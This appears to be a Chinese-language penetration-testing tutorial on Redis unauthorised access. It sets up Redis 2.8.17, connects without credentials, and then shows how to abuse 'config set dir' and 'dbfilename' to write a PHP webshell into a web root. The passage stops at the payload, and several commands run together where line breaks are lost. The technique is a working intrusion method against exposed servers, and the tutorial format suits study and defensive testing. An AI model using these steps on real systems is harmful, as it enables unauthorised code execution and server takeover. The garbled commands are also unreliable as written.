0x01 环境搭建
#下载并安装
cd/tmp
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17make
#启动redis服务
cd src
./redis-server
启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了。 比如:
root@kali:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140
192.168.125.140:6379>ping
PONG192.168.125.140:6379>
0x02 未授权访问漏洞测试
使用redis客户端直接无账号成功登录redis:
从登录的结果可以看出该redis服务对公网开放,且未启用认证。
利用redis写webshell
利用前提:
1.redis未授权 能redis-cli连上
2.开了web并且知道路径(如利用phpinfo)
我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:
config set dir /home/wwwroot/default/configsetdbfilename redis.phpset webshell "<?php phpinfo(); ?>